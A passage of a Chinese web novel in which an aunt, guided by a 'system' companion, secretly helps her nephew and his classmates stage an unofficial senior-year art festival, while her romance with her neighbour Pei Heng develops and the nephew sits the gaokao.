池又青吃瓜道：【是吗？是什么是什么？】 052说：【他给女主唱了一首歌～】 池又青惊讶道：【小筱啊？】 052嗯嗯两声：【没错。】 池又青心里开始嘀咕打鼓了。 她问052：【难道他俩在我不知道的时候又发展出感情线了？】 052没回答。 池又青：【你别不说话啊统，你这样我害怕。】 052：【暂时没有任何迹象表明他们之间有感情线。】 池又青问：【那有迹象表明他们之间没有吗？】 052沉默了。 池又青懂了。 她看眼季燃，这小子表情相当奇怪，有一种做贼心虚的感觉。 池又青暗道不妙。 都说少年心事都在一瞬之间…… 她倒也不是不允许季燃对程筱产生什么好感啦，只是不想让季燃成为程筱成长路上的绊脚石。 池又青忽然觉得压力颇大，一瞬间理解了网上看到的那些国内老师家长担心早恋的感觉。她之前读高中就没有这个烦恼，毕竟那些家长担心的不是早恋，而是早孕。 这么想想，池又青又觉得早点实在不算什么。 别结早果就行。 她问052：【所以原著里高三还是参加了艺术节？】 052批评她：【你自己花成就点买的剧情，你之前都没仔细看吗？】 池又青都记不得自己是几百年前干的这件事了。 池又青：【我没事记这干嘛？你赶紧说。】 052讲：【按照原著剧情，季燃还是个不羁的校霸，为了抓住校园最后的时光跟自己喜 欢的女孩表白，硬是搞了个计划，把所有坚守的老师骗走，又擅自做主登上了舞台。当然，就他一个人表演成功，一首歌唱完就被老师赶下去了，差点又记过。】 池又青感慨道：【青春啊青春，他现在怎么不这么干了？】 052：【你说呢？】 池又青半点没检讨自己。 她瞧着魂不守舍格外失落的季燃，拿筷子敲敲他的碗沿，问：“真想参加？” 季燃低声嗯了一声。 池又青拍拍他的脑袋：“那就参加吧。” 季燃吱唔一声：“但是学校不让。” 池又青嗐了一声：“什么时候学校说不让做的事情你就真的不做了？再说了，学校不让算什么？你小姨说了，让你参加。” “你就私下偷偷告诉你们那些同学，要准备的就悄悄准备，别大张旗鼓的给我搞啊？悄摸摸的，做贼那种，知道吗？” 季燃两眼放光：“小姨，你又要搞事啊——” 在池又青和善的目光下，季燃改口道：“小姨，你又要做慈善啊。” 池又青挑了挑眉，说：“本次慈善活动只支持那些不会因为艺术节排练就影响正事的人，懂我意思？” 季燃恨不得举手发誓：“我不会的！” 池又青说：“不止你一个。” 季燃保证道：“小姨，我懂。” “我们不是想用这个事逃避学习，就是……想喘口气，想在最后的日子里留下一点什么。” 池又青揉揉他早已柔顺无比的头发：“那就放手去做，把青春留在现在。至于规则的事，就交给大人去处理。放心，还有我呢。” 第46章 第46章那我们就恋爱一辈子。…… 季燃吃完饭就屁颠颠地回楼上去，嘴上说着要复习，池又青觉得他就是上楼去音乐间练习准备了。 留下她和裴珩两个人独处。 池又青刨完最后一口饭就想开溜，却被裴珩叫住。 她底气十足地问：“做什么？我是不会留下来帮你洗碗的。” 裴珩自觉地回：“我知道。” 池又青漂亮的眉毛向上一扬：“那叫我做什么？” 裴珩说：“等我一下。” 池又青哼了一声：“你让我等我就等啊。” 裴珩没说话，只是从厨房里端来了剥好的石榴。一整盘的石榴，粒粒分明，玛瑙一样摆在小盘之中。 池又青看着这盘石榴，勉为其难地坐了回去：“就等你一会。” 她挑起眼前的石榴籽，先尝了一口，没品出多少味道。而后又抓起一小把一道塞进嘴里，浓郁的石榴香伴随着鲜甜的汁液在口腔里炸开。 池又青偷偷瞄了眼厨房里裴珩洗碗的背影。 那句话怎么说来着？ 人夫，是男人最好的医美。 她就觉得裴珩穿围裙的样子比西装革履的大佬模样帅多了。 虽然她还是在单方面对裴珩感到生气，但也不影响她单方面觉得裴珩确实不错这件事。 手里的石榴吃起来越发清甜。 池又青解决到一半，裴珩就已经处理完厨房的家务。他取下围裙，将之叠好放起。扯了张厨房纸巾，把手上的水渍擦干。 察觉到他走出来以后目光落在了盛石榴的水果盘上，池又青轻咳一声：“叫我留下来，你要跟我说什么？” “你不是托我帮你买东西？”裴珩问。 池又青有些惊讶：“你买了呀？” 裴珩说：“有点时间，就去了一趟。” 池又青说：“那你怎么不跟我说一声？” 裴珩反问：“怎么？以为我没去？” 池又青不吭声了。 她心里就是这么想的。 裴珩说：“为这事不高兴了？” 池又青小声嘀咕：“也就一点点吧。” 裴珩轻笑：“那你怎么不问我？” 他在池又青的对面坐下，池又青顺手把水果盘往桌子中央推。裴珩摇摇头，示意他不吃。 池又青往嘴里塞了点石榴，囫囵着说：“忘了。” 其实是她自己觉得为这么一件小事一直追问裴珩不太得体。 他本没有义务替她做这件事，能帮忙是好事，不帮忙是本来的事。 故而她就连生气都暗戳戳的，不够理直气壮，偶尔有点心虚，但情绪上又的确不爽快。 裴珩一如既往的善于捕捉她微妙心思，说：“你知道的，你随时可以问我任何问题。” 池又青眨眨眼，回避掉这句话背后代表的另外一层含义，说：“那我想问问，裴老师，那些东西在哪里呀？” 裴珩喝了口水，问：“你现在想看？” 池又青点点头。 裴珩起身：“我放在客房的，去拿给你。” 池又青跟着站起来，抓了两把石榴放进嘴里，嚼完水分吐掉，丢进客厅的垃圾桶里。 客房不常有人来，但看得出来裴珩时常打扰。灰色的四件套平整地铺在床上，地板和柜子都干净得一尘不染。几个银色的纸袋放在角落里，裴珩拎起来，递给池又青。 池又青迫不及待地坐在床边，拆开来看。 “我就是想要这个！”她拎起一条布灵布灵的链子，“裴珩你有品啊。” 裴珩无奈地说：“你上次给我发的广告图里有这个。” 池又青拿着链条晃了晃，好奇地问：“你买的什么尺寸啊？” 裴珩没说话了。 他就连目光都无法直视池又青，回避着她的视线。 “怎么看起来跟你的尺寸差不多？”池又青举着链条对着裴珩比划了下。 裴珩解释道：“店员问我要什么size，我本来说都来一套，但她直接给我选了这个。” “挺好的。”池又青说，“节俭。” 翻看了下剩下的东西后，池又青跟裴珩说谢谢，又讲晚点转账给他。 裴珩轻声说：“和我一定要这么客气吗？” 池又青回：“基本礼貌。” 裴珩叹口气，说：“我出差之前，你坐在我腿上的时候可不是这么说的。” 池又青想到当时的画面，脸蛋一下就热起来，但强行镇定道，说：“是你自己要约我喝酒的。” 裴珩眼眸深深：“但我没想到你这样不胜酒力。” 池又青仰头看他，说：“倒也不是完全是酒的原因。” 裴珩扬起嘴角：“舍不得我？” 池又青骂：“可以再不要脸一点。” 裴珩嘴角的弧度没降，反而更上扬些许：“好吧，是我舍不得。” “有想我吗？”裴珩问。 池又青看了眼手边的一堆包装袋，点点头：“想了，毕竟你有人质在手。” 裴珩对她这种半真半假混不吝的说法方式已经习以为常。 “你要拿这些人质做什么？”裴珩问。 池又青说：“参考参考，说不定是个新的赛道。” 还是她的好朋友崔妍给她的灵感。 前段时间，崔妍忽然在群里暴怒，说市面上只有女性情。趣。内。衣，没有男性的，搞得她想让霍励穿点小衣服伺候一下都格外艰难。 崔妍在各个网站上翻了半天，最终找到一个国外的小众设计品牌，专门做这一类产品的。 池又青没见过，格外好奇，正巧裴珩要去那个国家出差，她便拜托裴珩帮个小忙，买点东西回来。 “只是参考？”裴珩问。 池又青笑着说：“怎么？你想给我当模特啊？” 裴珩说：“又不是没当过。” 池又青有感而发：“这么一对比，裴老师现在倒是大方许多。” 裴珩也跟着感慨：“没办 法，谁让池小姐对其他事情都不感兴趣。” 池又青踹他：“喂，别把我说得像个色中饿鬼一样。” 她可不单单是大黄丫头啊。 裴珩轻而易举就攥住她踢过来的脚踝，提议道：“想试试吗？” 池又青瞄了眼放在手边的胸链。 银色，交错的纹路设计中间有个埃及风的吊坠。 “既然你都这么热情了，那就试一下吧。” 裴珩说好，从善如流地开始解自己衬衫的扣子。 池又青忙偏过头去：“你就在这换？” 裴珩说：“反正你也不是没见过。” 道理是这个道理。 但这个男人是不是太坦然了一点？ 怎么出去一趟，学了一身勾栏本事回来？ 池又青伸手攥住差点被裴珩脱掉的衬衫衣边，问：“遇到事了？” 裴珩低着头，声音轻缓：“我以为我藏住了。” 池又青问：“想不想跟我说说？” 裴珩说：“我怕讲出来让你误会。” 他这样说，反倒是让池又青的好奇心一下膨胀起来。 池又青敲敲裴珩的腹肌，讲：“你先说来听听。” 裴珩纵容着她的手作乱，声音不受影响，平静地说：“家里老头说我没用，连一个婚约对象都追不到，又说我年纪大，不会讨人喜欢，准备派个小辈来跟你相处。” 池又青笑得合不拢嘴：“你爷爷可真逗。” 裴珩无奈道：“还笑。” 池又青的笑意根本止不住，又说：“他到底哪来的执念？” 裴珩说：“我奶奶和你姥姥是闺蜜，你知道吧？” 池又青点点头：“这我晓得。” 裴珩又说：“你刚出生的时候，你姥姥没事就给我奶奶发你的消息，虽然你没怎么见过她，不过对她来说，你也算是她看着长大的。她还在的时候，心里就把你看成是裴家的丫头。” “傅奶奶是个好人。”池又青讲，“我和她见过几面的。她的确很喜欢我。” “嗯。她很喜欢你。”裴珩说，“我爷爷现在退休，找不到别的事干，就想着要了却我奶奶的心愿。” “那你们裴家的小辈在哪呢？”池又青好奇地问，“什么时候拉过来让我瞧瞧？” 裴珩一下拉住她的手，眉眼里显露了一些在她面前少见的强势：“你很想瞧？” 池又青嗯啊一声：“就看看嘛。” 裴珩的身子倾靠过来，一手撑在池又青的腿边，在他的胸膛和床之间形成了一处包围。 “所以，你也觉得我年纪大，不讨喜？”他的声音里带着危险的讯号。 池又青伸手摸向他的裤子边缘：“别自卑，回去跟你爷爷说，不是你的问题，是你婚约对象太过难追。” 池又青拍拍他，说：“年纪大不大我不清楚，这还是挺大的。” 裴珩倒吸口气。 池又青就喜欢看他被自己影响到，挑挑眉，又碰了下：“这么有感觉？” 裴珩沉沉地缓口气，说：“我说过，我很想你。” 目光相对，裴珩快要吻上来。 忽然，池又青的手机铃声响起来。 裴珩瞄了眼，忍耐着说：“你侄子。” 池又青挂断。 刚想要继续，再靠近一点，裴珩家的大门又被敲得咚咚作响。 季燃的声音明显无比：“裴老师！你在家吗？我手机好像落你家了，我能进来拿吗？” 池又青和裴珩对视着。 池又青看热闹不嫌事大：“裴老师，要去开门吗？” 裴珩率败下阵来，把头埋在她的脖颈，无可奈何地道：“可以不去吗？” 池又青瞄了眼他腿间鼓鼓囊囊的一团：“好像是不太方便。” “我去开门？”她说。 裴珩问：“那你要怎么解释你没接电话但是出现在我家这件事？” 池又青微笑：“就说我吃完就发饭懵，在你家睡着了。” 裴珩的脸颊在她的锁骨边蹭了蹭，就像一只大猫。 他说：“季燃也不能知道吗？” 池又青说：“什么？” 裴珩说：“我们的关系。” 池又青伸手抚摸着他后颈处的那一寸皮肤，感受着那一截发烫的温度，说：“对小孩来说，这个关系好像有点不太健康。” 裴珩瞧着池又青：“那可以健康一下吗？” 池又青往后退，裴珩也跟着抬头，两人对视。 池又青说：“裴先生，我可以理解为，你在向我要名分吗？” 裴珩说：“毕竟我爷爷派来的后浪已经在路上。” 池又青没憋住笑，伸手掐住裴珩的脸：“你故意的是不是？先跟我卖惨，又这样说。” 裴珩伸手握住她的手腕，偏了偏头，把脸贴在她的掌心：“怎么样？有效果吗？” “说实话吗？”池又青问。 裴珩颔首。 她伸手搂住裴珩的脖子：“稍微有点，但还是提议驳回。我可不相信季燃要是知道我们俩在谈恋爱后，这事不会传得到处都是。要是传到你爷爷的耳朵里，我只怕是马上就要被八抬大轿领回裴家了。我可不要。” 裴珩的手搭在她的腰上，将她往自己面前一带：“如果你不愿意，谁都不能替你作出决定。” “裴珩，我不想结婚。”池又青说。 裴珩望着她的眼睛：“池小姐，我该高兴你已经提前为我们的关系想到这一步了吗？” 池又青扯扯嘴角，放开裴珩：“你敢说如果大人们知道我们在恋爱，不会把结婚这件事提上日程？” 跟婚约对象谈了恋爱，没有意外的，几乎所有人都会觉得，下一步就该结婚了。 可池又青不想要这样的下一步。 也不想要体会这种预设。 “那就让他们自己结婚去。”裴珩紧搂着池又青的腰，没放她走，“又青，别为了反抗而反抗，我希望你听见你自己的心。” 池又青瞪他一眼：“别说得好像你很懂我。” 顿了顿，池又青问：“如果我要是一辈子都不想结婚呢？” 裴珩平和地说：“那我们就恋爱一辈子。” “不按任何人的计划行事，不听任何人的意见。池又青，我们可以只是我们。” 第47章 第47章孩儿们！出山吧！ 十月底，江城九中的艺术节正式举办。 季燃一大早就醒了，特意从外面买了早餐回来，跟池又青一块吃。 池又青知道他到底想打探什么，一口咬掉小笼包，吞下去后，嘬住豆浆的吸管喝了口，看着季燃，说：“放心，包给你安排好的。” 季燃两手捧着豆浆，身子往前探了点，迫切地说：“小姨，咱们今天到底什么计划？能不能给我说说。” 池又青用食指把他靠过来的脑袋推开：“着急什么？晚上你就知道了。” 季燃失落地靠回椅子上：“那还有十来个小时呢。” “十来天你都忍过来了，还怕这十来个小时？”池又青瞅着他。 季燃把脸贴靠在桌子上，哀怨地说：“不一样，小姨，这不一样。” 人就是这种生物啊。 越靠近结局越想知道答案。 这就是人类的本性！ 又不是他的错。 他不死心，抬起眼睛，看向对面的女人。 一个字还没说呢，就见池又青叼着吸管，摇摇头，食指也晃了晃，说：“死心吧，我是不会告诉你的。” 季燃最终怀抱着绝望的心情走出家门，踏入校园。 袁源一见到他就凑过来打探：“哥，咱、咱小姨怎么说？” 季燃把书包甩在座位上，一脚勾开椅子，说：“不知道。” 袁源眼睛瞪大：“什么意思？” 季燃坐在椅子上，拿出错题本，丢在桌上，讲：“就是不知道的意思。” 袁源明白过来：“咱、咱姨还没跟你说啊？” 季燃点点头。 袁源心里直打鼓：“那咋整。” 他搓搓手，已然紧张起来：“我都已经通知了好多人，今天晚上我们会有表演，万一……万一……” 季燃也很烦躁，伸手抓把头发，将出门前才打理顺畅的黑毛弄得乱糟糟的，他的心情也乱糟糟的，说：“提前做好准备吧。” 袁源问：“什么准备？” 季燃说：“planb。” 袁源啊了一声，茫然道：“哥，我们什么时候有的planb？” 季燃扯扯嘴角：“现在。” 他领着袁源去找程筱和林砚，跟他们说明自己的来意。 程筱不是很赞同这个行为：“池姐姐既然答应你，那说明她肯定有办法。” 季燃说：“只是万一。” 程筱说：“你不相信池姐姐。” 季燃火气有点上来了：“我没有。” 季燃压着怒意说：“她是我小姨，我当然相信她。但是高三全年级那么多同学，我能让每个人都相信她吗？现在我们班门口围着多少人来问我今天的事你们知道吗？” 林砚插进来一句：“三十八个。” 季燃和程筱都无言地转头看向他。 林砚说：“刚刚刷到年级群里的照片，正 好数了下。” 袁源赶紧说：“到底干不干？时间不多了。” 程筱抿抿唇：“可以。我入伙。” 林砚点点头：“加我一个。” 季燃立马安排到：“那林砚你等会就去借打印室的机子，借口打试卷资料，帮我们打印下东西。中午的时候别去食堂吃饭了，回我家，我们在家里弄完再过来。” 林砚不解：“为什么是我？” 季燃说：“因为你长了一副不会被怀疑的好学生样子。” 林砚看向程筱：“她不也是？” 季燃说：“我没说不让她去啊，她跟你一块。” 程筱问：“我做什么？” 季燃讲：“跟我演戏。” 于是，当天，江城九中高三年纪爆发出一次小新闻。 改邪归正的校霸季燃跟新晋学神程筱在文印室门口吵起来了！ 据说是因为为了抢打印机顺序而吵起来的。 校园墙下有人评论： 【不是很懂，你们就这么爱做卷子吗？】 【以前我去打印室帮老师打印东西，恨不得最晚一个排到我，我能在打印室待一天doge】 季燃和程筱顶着火气吵了半天，等林砚悄悄摸摸遁走，两人才堪堪在老师们的劝架下解散。 中午在季燃家里，大家一起干幼儿园剪纸手工活。 季燃忽然问：“你是不是早就想跟我吵架了？” 程筱正把手里的一叠剪好的卡片放进盒子里，头也没抬地说：“有吗？” 季燃说：“有啊。” 刚刚程筱在文印室前的表现，真不像是演的。 程筱说：“不是针对你的。” 季燃：“什么意思？” 程筱答：“我只是现在平等地看每个男高中生不顺眼而已。” 林砚剪纸的动作一顿。 袁源嘴巴大张：“啊……” 季燃居然点点头，说：“好，我理解了。” 林砚转头看他。 袁源纳闷地问：“燃哥，你，你咋就理解了呢？” 季燃瞄他一眼：“因为我现在也平等地看每个男高中生不爽。” 袁源缩了缩脖子。 林砚默默放下剪刀：“那我走？” 季燃补充：“除了你们。” 林砚拿起剪刀。 忙活一中午，一叠纸片终于弄完。 袁源后知后觉地问：“我们为什么不去外面的打印店用那个闸刀，感觉快很多诶。” 三双眼睛齐齐看向季燃。 季燃沉默不语。 程筱说：“下次再弄这种活动，你不要当领导了。” 季燃挠挠后脑勺：“谁稀罕。” 他嘟囔一句：“你们刚刚不也一直没反应过来。” 虽然效率低了点，办法笨了点，不管怎么样，东西至少都弄完了。 下午四个人立刻潜入学校，并偷偷利用同学网络私下安排扩散。 等到下午第一节课的时候，江城九中高三的学生都发现，自己的课桌里，忽然多了一张小纸条。 「非校方组织！这条消息请大家偷偷穿越！晚上高一高二艺术节结束后，我们将自发举行属于我们高三年级的最后一场活动！如果被抓到的话，大家就一起逃跑吧！」 收到纸条的女孩赶忙把东西丢进书里夹住，左右张望，才问同桌：“你看到了吗？” 同桌点点头：“你也有啊？” 女孩说：“是啊。” 同桌问：“那怎么说，你去吗？” 女孩犹豫了下：“我还想问你去不去呢。” “你行吗？五十米跑十二秒的人。”同桌问。 女孩说：“没事，田主任看起来比我还跑得慢。” 两人沉默了下，忽地相视一笑。 众人皆知的秘密开始在整个高三年级传开，大家走在过道不小心碰见的时候都会用眼神交汇一瞬，仿佛在说“晚上见”。 下午五点，艺术节的氛围就已经在学校里弥漫开来。 操场上早就是等候的高一高二年级们，室外也舞台也搭建起来，学校请来的录制队伍扛着设备开始在四处布置。 高三生凑不了这个热闹，只能待在教室里，听到窗外传来激动人心的尖叫。 瞄眼坐在讲台上守自习的周正然，季燃悄悄拿出手机。 （艺术节小分队） 十八班季燃：第二节晚自习一下课就冲出去，准备好了吗？ 一班林砚：ok。 一班程筱：我已经不在教室。 十八班季燃：？？？ 一班林砚：她跟老师说教室太吵学不进去，要去图书馆。 十八班季燃所以你在图书馆了？ 一班程筱：[图片] 一班程筱：你觉得呢？ 季燃点开照片，是从操场上拍的照片。 十八班季燃：？？？？？？ 这就是学神的特权吗？？？ 等等。 季燃放大图片，看到一双眼熟的运动鞋。 十八班季燃：你也在？@一班林砚 一班林砚：毕竟那可是图书馆。 十八班季燃：………… 我服了你们这些学神啊！！ 七班沈千月：我也跟老师说我肚子不舒服，先出来了。 七班沈千月：[图片] 十二班魏逸晖：＋1，我说我妈叫我先回家，但实际上人在操场。 十八班季燃：/拇指/拇指/拇指 十八班季燃：你人呢？还没从厕所出来？@十八班袁源 十八班袁源：哥……我…… 十八班季燃：行了，闭嘴吧。 他算是看明白了。 结果群里就他一个乖乖等在座位上是吧？！ 倒是把他整成好学生了。 季燃痛定思痛，沉思片刻，走上讲台，跟周正然说：“老周——” 话还没说完，周正然就说：“厕所满了，图书馆坐不下了，你也没爸妈来接，回去坐着吧。” 季燃两样大睁：“你——” 周正然嘘了一声，瞄了眼坐在下面的学生，跟他小声地说：“真以为我们老师不知道你们在做什么？” 季燃心里咯噔一下，暗道，完了，这把全完了。 周正然说：“还是工作做得不到位，连群里被潜伏了都不知道。” 季燃一张脸已经煞白，他咬咬牙，说：“都是我的主意，周老师，你别找其他人的麻烦。” 周正然眼底带笑：“行了行了，池小姐都跟我说了这事，你放心吧，老师们也都知道，今天这日子，就算把你们关在教室里，你们也学不进去。” 季燃怔愣了下：“我小姨——？” 周正然说：“都是上面的安排，我们也做不了主的。不过，还是你小姨有办法。” 季燃好奇地问：“周老师，我小姨干什么了？” 周正然摇摇头：“这我也不知道，她什么都没说，就让我联系老师们，到点了就把你们放出去。” 周正然拿起手机看了眼时间：“行了，差不多了，孩子们，疯去吧。” “嘟嘟——” 教室里的喇叭忽然被人轻拍两下。 “高三的同学们，想参加艺术节的，现在可以出教室啦！！请所有人保持纪律！不要拥挤！自觉地跟高一高二的同学错开！注意安全！！” 别人听不出来，季燃却一下明白过来。 这是他小姨的声音！ 第48章 第48章他是个好人，喜欢帮忙而已。…… 人潮盈盈，却格外有序。 本该已经停止的艺术节正持续着热闹。 早已退离广播部的高三成员们站在舞台中央，没穿礼服，只是一身简单的蓝白校服，手里握着话筒，向所有人播报着这一场独属于他们的活动正式宣告开始。 池又青站在后台旁，看着一群又一群的少年走上舞台。 季燃跟在她的身边：“小姨，你怎么做到的？” 池又青说：“信我，你不会想知道的。” 季燃还想再问两句，就被袁源一声喊：“燃哥，快点，下个节目该我们了。” 季燃没辙，只好跟池又青说：“我先过去。” 池又青点点头。 她跟052说：【怎么办。】 052：【宿主，发生了什么？】 池 又青：【感觉他等会上台就要给女主唱歌了。】 052：【那你阻止一下？】 池又青摇摇头：【不行，人就这么一次青春。】 池又青：【我现在由衷地祈祷，程筱的眼睛没瞎。】 052说：【宿主，据我了解，她的视力非常不错，上次学校体检才检查出了5.0的好结果。】 池又青嘴角微抽：【我说的不是这个视力。】 052问：【那是什么？】 【算了。】池又青懒得解释。 等这个舞蹈节目结束后，季燃和袁源走上舞台，又朝后挥挥手，再有两人走上来。 嗯？ 池又青反复确认了下。 程筱和林砚？ 他俩上来做什么？ 她看到林砚站在键盘前，程筱坐在了架子鼓后，袁源手里拿着小提琴，季燃扛着吉他，是他妈妈当初托池又青选给他的那把。 季燃站在立式话筒前，低声喂了一声。 他的音色真的很好，被话筒这样一放大，更是混杂了清澈与磁性。 什么都还没唱呢，台下就已经有人尖叫起来。 季燃的目光往舞台侧看了眼，又看向前方，认真道：“这首歌，送给我的小姨。没有她，就没有现在的我。” 吉他的扫弦一起，钢琴接入。 鼓点恰如其分地加入其中。 周正然瞧着，脸上是不自知的骄傲。 同事凑过来问：“老周，你们学生可以啊，唱得很不错啊。” 周正然笑着说：“还行，还行。” 同事问：“就是这首歌叫什么啊？我怎么没听过。” 周正然说：“他自己写的吧。” 同事诧异：“自己写的？” 周正然似随口一提：“对，我听他家长提过，就是他小姨，这个季燃啊，在音乐上还是有点天分的，经常在家搞创作。他这个学习虽然比不上年级头部的一些孩子，但是音乐方面呢就还可以。” 同事撞了下他的胳膊，打趣道：“行了老周，别装了，骄傲就骄傲呗，还非要拐着弯讲。” 季燃的这首歌把整个艺术节的氛围拉到最高。 “那年夏天，她说未来很长。”季燃声嘶力竭地唱着，“于是我咬牙奔跑，向着命运出发。” “别害怕，快向前啊，世界虽大，但你有自己的步伐。” 池又青捂着嘴，站在舞台的边缘。 快到结尾的时候，她看见季燃的指尖飞快地扫过吉他，大声唱了一句：“在死神找到我之前，我都绝对不会停下。” 季燃喘着气，身子微微弓着，又缓了会，转过头。 舞台上的其他人也看了过来。 池又青抬手用手背蹭了蹭眼角，她不知道该说什么，也什么都说不出来，于是只是笑了笑，张开双臂。 季燃愣了下，把吉他往身后一甩，直接朝着她扑来。 袁源和程筱也紧随其后。 林砚在做收尾，站在话筒前，说：“谢谢大家，我们的表演结束。” 抱着这群少年，池又青挨着揉过他们的脑袋，问：“这首歌准备多久了？” 季燃说：“没多久。” 袁源戳破他的伪装，说：“燃哥上个学期就说要给你写首歌了！” 季燃耳根发红，瞪了眼袁源。 “小源，你也很厉害啊，我都不知道你的小提前拉得这么好。还有筱筱，你什么时候会打架子鼓的？” 程筱和袁源对看一眼，小声地说：“池姐姐，那都是表演。” “除了吉他和键盘，其他的都是之前已经录好的，我们主打一个氛围。”袁源也说。 池又青被他们逗笑。 “还剩几个节目？”池又青问。 季燃说：“不多，就三个。” 池又青点点头，一副若有所思的样子。 季燃这个时候还没懂她这表情是什么意思，等到最后一个节目表演结束，学校操场对面忽然炸开一夜的烟花，绚烂的色彩在黑夜中绽放不断，最终缓缓拼落成四个字—— 高三加油。 季燃立刻回头看向池又青。 池又青伸出食指，搭在唇边，摇了摇头。 于是那一年，江城九中艺术节的烟花到底是谁放的，成为了校史上第二大的谜题。 而第一大的谜题，则是到底是谁把校领导骗到学校会议室锁了一晚上？ 神人啊！！ 季燃刷到校园墙的各种疑问以后，连忙问：“小姨，如果你在艺术节现场，那到底是谁在会议室锁人？” 池又青微笑：“秘密。” 谁让她有个好邻居呢。 * 江城九中的这一场高三艺术节很快就在网上爆红。 各个平台都能刷到关于他们的评论。 【说好的大家一起当苦逼高三生呢？怎么就你们青春上了。】 【好喜欢那个乐队表演！！啊啊！！这到底是什么歌！有谁知道啊！】 【我听人说好像是原创啊。】 【听说你还在搞什么原创～～】 【楼上串频道了！！】 【求音源！求音源！！真真的好好听！！听完感觉还能爬起来再刷一百道题！！！】 【这才华不比现在那些歌手强多了？求出道，弟弟要是以后开演唱会的话，务必要拿这首开场或者结尾啊！】 当然，也有人在评论区尖锐地发表自己的看法。 【什么时候了啊，居然还在学校搞这些？现在倒是青春了，我倒要看看六月份成绩出来，还能青春多久。】 【点了，学生的任务就是读书好吧？别整这些破事。】 【四个人加起来不知道能不能过本科线，哈哈哈哈！】 还没到六月，这条评论就被翻出来。 圆圆圈圈回复：【你好，唱歌的这位是今年国内top级音乐学院的艺考第一名，还拿了世界级院校的offer。打鼓的那个夏令营竞赛的时候已经获得推免资格，哦，弹键盘的那个也是，他俩双双清北。不用你操心哈。】 用户898932回复：【你说清北就清北啊？那我还哈佛呢！】 用户898932回复：【你谁啊你，知道他们的情况吗就在这乱说？再说了，我说他们关你什么事。】 圆圆圈圈回复：【因为我就是第四个人：）】 圆圆圈圈回复：【噢，你也不用担心我，我是考不上本科，但我要去国外学烘焙了，谢谢。】 用户898932回复：【？？？】 草！ 现在的小孩都怎么回事！ 又会玩还会学！ 还要不要人活了！ 白盛飞在网上刷到这一张袁源回复喷子的截图以后泪流满面。 “为什么你们一个个的都不用高考了。”他心态崩了，“我还以为我回来江城能跟你们一块同甘共苦呢！结果呢！搞半天，六月份就我一个人要渡劫是吧？” 季燃纠正：“我怎么就不用高考了？我要考。” 白盛飞呸了一声：“你那文化分只需要本科线的百分之七十，现在的你闭着眼睛都能考出来这分数，我劝你闭嘴。” 季燃：“啧啧。” 程筱说：“我也还要考。” 这下季燃也不理解了：“你考什么？” 嫌通知书不够多吗？ 程筱说：“学校说了，状元有奖金拿。” 季燃：“……” 林砚眉头一皱：“那我也考。” 季燃：“你也缺钱了？” 林砚摇头，说：“只是想看看，我和程筱谁的分高。” 季燃：“……” 袁源：“……” 白盛飞怜爱地拍拍他俩的肩膀：“现在懂 了吧？到底谁才是你们的亲兄弟。” “只有我，一直没有背叛我们的友谊！不会在高考里赛出成绩！赛出风采！” 池又青端着裴珩切好的水果走进来，把盘子往白盛飞脑袋上一搁：“你先想想，等你考完那几分，怎么给你妈交代吧。” “当初有些人可是说好的，为了能去打游戏，高考是要过本科线的。” 白盛飞一提这事就欲哭无泪：“姨，小姨，你能不能跟我妈求求情啊。” 季燃把他抓住池又青胳膊的手扒拉下来：“说话就说话，别乱动。” “姨控。”白盛飞唾弃道，“可耻的姨控。” “你光管我，能不能去管管你的姨夫？”白盛飞说。 季燃翻个白眼：“我没那东西。” 白盛飞拿着牙签戳了一块切好的哈密瓜，塞进嘴里，囫囵着说：“你确定？” 季燃说：“废话，我小姨又没谈恋爱。” 白盛飞哦了一声，指了指面前的水果盘：“那这是什么？” “哈密瓜。”季燃说。 白盛飞说：“谁切的。” “裴老师啊。” 白盛飞微笑：“那么问题来了，裴老师为什么会在你家给我们切哈密瓜？” 季燃隐隐察觉不对劲，但还在垂死挣扎：“他一直都这样啊。” 白盛飞噢了一声：“一直这样？” 季燃硬着头皮说：“他是个好人，喜欢帮忙而已。” 白盛飞爱怜地拍拍他的肩膀：“你还记得吗？我当初去参加集训营，我们露营的时候遇到有人求婚。” “记得，怎么了？” 白盛飞说：“你小姨那个时候就牵裴老师的手了，我看见了。” 季燃：“………………？” 手里的牙签往桌上一丢，他一把掐住白盛飞的脖子：“这么大的事！你现在才告诉我啊！！！” 白盛飞赶紧求饶：“草，我也没想到，你这么二愣子，一直没看出来啊！！！燃哥！燃哥！松手啊！！我还要高考啊！！！” 第49章 第49章那年夏天。 六月初，高温不下，整个江城都笼罩在紧张之中。 季燃看着查看自己书包的池又青，无奈地说：“小姨，第三遍了，你都检查过了。笔，2b铅笔，你打印的三份准考证，身份证，我全都带了。” “葡萄糖呢？带了没？”池又青拿着手机，按照上面的记录依着清点。 季燃无奈地看向裴珩。 裴珩抬手搂着池又青的肩膀：“我给他装书包侧面了。” 池又青检查了下，的确在。 “那就这样吧。”她说。 季燃安慰她：“没事的小姨，我有信心。” 池又青瞧着季燃，冲他摆手：“行了行了，那你自己滚去考场吧。” “你不送我吗？” “学校就在对门，自己走过去啊。” 说是这么说，池又青和裴珩还是把季燃送出了小区门。 看着他穿过马路往学校走去，池又青一时半会还有点恍然。 裴珩握紧她的手：“怎么感觉你比他还紧张？” 池又青说：“废话。” 季燃考得好不好可能不会决定他的一生。 但能决定她是否能够完成系统布置的最终改造任务。 瞧着系统界面里给出的分数线，池又青心里真有点没底。 季燃的成绩是进步了，但该死的系统也因此水涨船高般提高了要求。 要是季燃没完成任务，那她的最终神秘大奖就要和她失之交臂了！ 池又青这几天已经往各个方向都拜了一圈，东方西方的玄学试了个遍。 崔妍和陈念也说她，对待季燃的这场考试，比当年对待自己的考试还要上心。 池又青心想，要是当年她也绑定上这么一个系统，那她肯定也能无比上心。 最后一场考试结束的时候，池又青等在门口。 季燃走出来。 池又青原本有一肚子的话想问，比如感觉怎么样，题难不难，发挥如何。这些话她憋了好几天，担心影响季燃的中途发挥，都不敢问。 结果到了现在，看着他跟着学校的人潮走出来，每个人的脸上都是如释重负的表情，池又青忽然又什么都不想问了。 “辛苦了。”她揉了把季燃的头发，“回家吧。” 季燃没有半点高考完的兴奋。 当天晚上吃饭的时候，池又青还觉得他有点古怪。 “又藏着什么话没说？”池又青实在憋不住了，“没考好吗？题没写出来？” “不是。”季燃低着头，用筷子戳了下面前的小山一样堆在碗里的米饭，“题写得挺顺的，成绩应该还行。” “那是什么事？”池又青问。 季燃飞快地瞄她一眼：“小姨。” 池又青：“嗯？” 季燃说：“我考完了。” 池又青：“我知道啊。” 季燃抿了抿唇：“你……你是不是要走了？” 池又青愣了下，笑起来：“你就为这事发愁？” 季燃顶了顶腮帮，不说话。 